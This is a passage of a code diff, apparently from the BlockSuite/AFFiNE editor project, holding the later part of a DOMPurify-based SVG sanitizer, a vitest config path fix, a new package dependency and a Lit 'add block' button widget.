+  'xmlns:h5',
+  'xmlns:xlink',
+];
+
+function getAttribute(element: Element, attribute: string) {
+  return (
+    element.getAttribute(attribute) ??
+    element.getAttribute(attribute.toLowerCase())
+  );
+}
+
+function getSvgSanitizeConfig(options?: SanitizeSvgOptions) {
+  return {
+    ...DEFAULT_SVG_SANITIZE_CONFIG,
+    ...options?.svg,
+  };
+}
+
+function getForeignObjectHtmlSanitizeConfig(options?: SanitizeSvgOptions) {
+  return {
+    ...DEFAULT_FOREIGN_OBJECT_HTML_SANITIZE_CONFIG,
+    ...options?.foreignObjectHtml,
+  };
+}
+
+function isXmlWhitespace(char: string) {
+  return (
+    char === ' ' ||
+    char === '\n' ||
+    char === '\r' ||
+    char === '\t' ||
+    char === '\f'
+  );
+}
+
+function skipXmlWhitespace(value: string, index: number) {
+  while (index < value.length && isXmlWhitespace(value[index])) {
+    index++;
+  }
+  return index;
+}
+
+function startsWithIgnoreCase(value: string, search: string, index: number) {
+  return value.slice(index, index + search.length).toLowerCase() === search;
+}
+
+function getSvgRootStartIndex(value: string) {
+  let index = skipXmlWhitespace(value, 0);
+
+  if (startsWithIgnoreCase(value, '<?xml', index)) {
+    const declarationEnd = value.indexOf('?>', index + 5);
+    if (declarationEnd === -1) return -1;
+    index = skipXmlWhitespace(value, declarationEnd + 2);
+  }
+
+  if (startsWithIgnoreCase(value, '<!doctype', index)) {
+    const doctypeEnd = value.indexOf('>', index + 9);
+    if (doctypeEnd === -1) return -1;
+    index = skipXmlWhitespace(value, doctypeEnd + 1);
+  }
+
+  if (!startsWithIgnoreCase(value, '<svg', index)) return -1;
+
+  const next = value[index + 4];
+  return next === '>' || (next !== undefined && isXmlWhitespace(next))
+    ? index
+    : -1;
+}
+
+function hasSvgRoot(value: string) {
+  return getSvgRootStartIndex(value) !== -1;
+}
+
+function getOriginalSvgRoot(svg: string, parser: DOMParser) {
+  const root = parser.parseFromString(svg, 'image/svg+xml').documentElement;
+  if (root?.tagName.toLowerCase() === 'svg') {
+    return root;
+  }
+  if (!hasSvgRoot(svg)) {
+    return null;
+  }
+  return parser.parseFromString(svg, 'text/html').querySelector('svg');
+}
+
+function ensureSvgRoot(
+  originalRoot: Element | null,
+  sanitized: string,
+  parser: DOMParser
+) {
+  if (hasSvgRoot(sanitized)) {
+    const sanitizedDoc = parser.parseFromString(sanitized, 'image/svg+xml');
+    const sanitizedRoot = sanitizedDoc.documentElement;
+    return sanitizedRoot?.tagName.toLowerCase() === 'svg'
+      ? sanitizedRoot
+      : null;
+  }
+
+  const svgDoc = parser.parseFromString('<svg></svg>', 'image/svg+xml');
+  const svgRoot = svgDoc.documentElement;
+  SVG_ROOT_ATTRIBUTES.forEach(attribute => {
+    const value = originalRoot ? getAttribute(originalRoot, attribute) : null;
+    if (value) {
+      svgRoot.setAttribute(attribute, value);
+    }
+  });
+  svgRoot.innerHTML = sanitized;
+  return svgRoot;
+}
+
+function sanitizeForeignObjects(
+  root: ParentNode,
+  options?: SanitizeSvgOptions
+) {
+  root.querySelectorAll('foreignObject, foreignobject').forEach(element => {
+    element.innerHTML = DOMPurify.sanitize(
+      element.innerHTML,
+      getForeignObjectHtmlSanitizeConfig(options)
+    );
+  });
+}
+
+function getSiteDomain(hostname: string) {
+  return (
+    parse(hostname, { allowPrivateDomains: true }).domain ??
+    hostname.toLowerCase()
+  );
+}
+
+function isSameSiteDomain(url: URL) {
+  if (typeof location === 'undefined') return false;
+  return getSiteDomain(url.hostname) === getSiteDomain(location.hostname);
+}
+
+function isSafeLinkUrl(value: string) {
+  try {
+    const url = new URL(value);
+    return SAFE_LINK_PROTOCOLS.has(url.protocol) && !isSameSiteDomain(url);
+  } catch {
+    return false;
+  }
+}
+
+function isSafeHref(element: Element, value: string) {
+  if (value.startsWith('#')) return true;
+  const tagName = element.tagName.toLowerCase();
+  if (tagName === 'use') return false;
+  if (tagName === 'image') return SAFE_IMAGE_DATA_URL_PATTERN.test(value);
+  if (tagName === 'a') return isSafeLinkUrl(value);
+  return false;
+}
+
+function decodeSvgDataUrl(value: string) {
+  const groups = value.match(SVG_DATA_URL_PATTERN)?.groups;
+  if (!groups) return null;
+
+  try {
+    if (groups.base64) {
+      return new TextDecoder().decode(
+        Uint8Array.from(atob(groups.data), char => char.charCodeAt(0))
+      );
+    }
+    return decodeURIComponent(groups.data);
+  } catch {
+    return null;
+  }
+}
+
+function encodeSvgDataUrl(svg: string) {
+  const binary = Array.from(new TextEncoder().encode(svg), byte =>
+    String.fromCharCode(byte)
+  ).join('');
+  return `data:image/svg+xml;base64,${btoa(binary)}`;
+}
+
+function getHrefAttributes(element: Element) {
+  return Array.from(element.attributes).filter(
+    attribute => attribute.name === 'href' || attribute.name === 'xlink:href'
+  );
+}
+
+function tightenSvgTree(
+  root: ParentNode,
+  options: SanitizeSvgOptions | undefined,
+  depth: number
+) {
+  root.querySelectorAll('*').forEach(element => {
+    getHrefAttributes(element).forEach(attribute => {
+      const href = attribute.value.trim();
+      const nestedSvg =
+        element.tagName.toLowerCase() === 'image'
+          ? decodeSvgDataUrl(href)
+          : null;
+
+      if (nestedSvg !== null) {
+        if (depth < MAX_NESTED_SVG_IMAGE_DEPTH) {
+          const sanitized = sanitizeSvgWithDepth(nestedSvg, options, depth + 1);
+          if (sanitized) {
+            element.setAttribute(attribute.name, encodeSvgDataUrl(sanitized));
+            return;
+          }
+        }
+        element.remove();
+      } else if (!isSafeHref(element, href)) {
+        element.removeAttribute(attribute.name);
+      }
+    });
+
+    const style = element.getAttribute('style');
+    if (style && UNSAFE_CSS_PATTERN.test(style)) {
+      element.removeAttribute('style');
+    }
+
+    if (
+      element.tagName.toLowerCase() === 'style' &&
+      UNSAFE_CSS_PATTERN.test(element.textContent ?? '')
+    ) {
+      element.remove();
+    }
+  });
+}
+
+export function sanitizeSvg(svg: string, options?: SanitizeSvgOptions): string {
+  return sanitizeSvgWithDepth(svg, options, 0);
+}
+
+function sanitizeSvgWithDepth(
+  svg: string,
+  options: SanitizeSvgOptions | undefined,
+  depth: number
+): string {
+  const svgConfig = getSvgSanitizeConfig(options);
+
+  if (
+    typeof DOMParser === 'undefined' ||
+    typeof XMLSerializer === 'undefined'
+  ) {
+    const sanitized = DOMPurify.sanitize(svg, svgConfig);
+
+    if (typeof sanitized !== 'string' || !hasSvgRoot(sanitized)) {
+      return '';
+    }
+    return sanitized.trim();
+  }
+
+  const parser = new DOMParser();
+  const originalRoot = getOriginalSvgRoot(svg, parser);
+  if (!originalRoot) return '';
+
+  const sanitized = DOMPurify.sanitize(svg, svgConfig);
+  if (typeof sanitized !== 'string') return '';
+  const sanitizedRoot = ensureSvgRoot(originalRoot, sanitized, parser);
+  if (!sanitizedRoot) return '';
+  sanitizeForeignObjects(sanitizedRoot, options);
+  tightenSvgTree(sanitizedRoot, options, depth);
+  return new XMLSerializer().serializeToString(sanitizedRoot).trim();
+}

blocksuite/affine/shared/vitest.config.ts

@@ -1,3 +1,5 @@
+import { fileURLToPath } from 'node:url';
+
 import { defineConfig } from 'vitest/config';
 
 export default defineConfig({
@@ -5,7 +7,9 @@ export default defineConfig({
     target: 'es2018',
   },
   test: {
-    globalSetup: '../../../scripts/vitest-global.js',
+    globalSetup: fileURLToPath(
+      new URL('../../../scripts/vitest-global.js', import.meta.url)
+    ),
     include: ['src/__tests__/**/*.unit.spec.ts'],
     testTimeout: 1000,
     coverage: {

blocksuite/affine/widgets/drag-handle/package.json

@@ -19,6 +19,7 @@
     "@blocksuite/affine-components": "workspace:*",
     "@blocksuite/affine-ext-loader": "workspace:*",
     "@blocksuite/affine-model": "workspace:*",
+    "@blocksuite/affine-rich-text": "workspace:*",
     "@blocksuite/affine-shared": "workspace:*",
     "@blocksuite/global": "workspace:*",
     "@blocksuite/icons": "^2.2.17",

blocksuite/affine/widgets/drag-handle/src/components/add-block-widget.ts

@@ -0,0 +1,78 @@
+import { PlusIcon } from '@blocksuite/icons/lit';
+import { css, html, LitElement } from 'lit';
+import { property } from 'lit/decorators.js';
+
+import type { AFFINE_ADD_BLOCK_WIDGET } from '../consts.js';
+
+export class AffineAddBlockWidget extends LitElement {
+  static override styles = css`
+    :host {
+      display: block;
+      pointer-events: none;
+    }
+
+    .affine-add-block-widget {
+      display: flex;
+      align-items: center;
+      justify-content: center;
+      width: 18px;
+      height: 18px;
+      margin-top: 8px;
+      cursor: pointer;
+      border-radius: 4px;
+      color: var(--affine-placeholder-color);
+      background: transparent;
+      border: none;
+      padding: 0;
+      transition:
+        color 0.2s ease,
+        background 0.2s ease;
+      pointer-events: auto;
+      user-select: none;
+      box-sizing: border-box;
+    }
+
+    .affine-add-block-widget:hover {
+      background: var(--affine-hover-color);
+      color: var(--affine-text-primary-color);
+    }
+
+    .affine-add-block-widget svg {
+      width: 12px;
+      height: 12px;
+      flex-shrink: 0;
+    }
+  `;
+
+  @property({ type: Boolean })
+  accessor visible = false;
+
+  private readonly _handleClick = (e: MouseEvent) => {
+    e.stopPropagation();
+    e.preventDefault();
+    this.dispatchEvent(
+      new CustomEvent('add-block', { bubbles: true, composed: true })
+    );
+  };
+
+  override render() {
+    if (!this.visible) return html``;
+
+    return html`
+      <button
+        class="affine-add-block-widget"
+        title="Click to add a block below"
+        aria-label="Add block below"
+        @click=${this._handleClick}
+      >
+        ${PlusIcon({ width: '12', height: '12' })}
+      </button>
+    `;
+  }
+}
+
+declare global {
+  interface HTMLElementTagNameMap {
+    [AFFINE_ADD_BLOCK_WIDGET]: AffineAddBlockWidget;
+  }
+}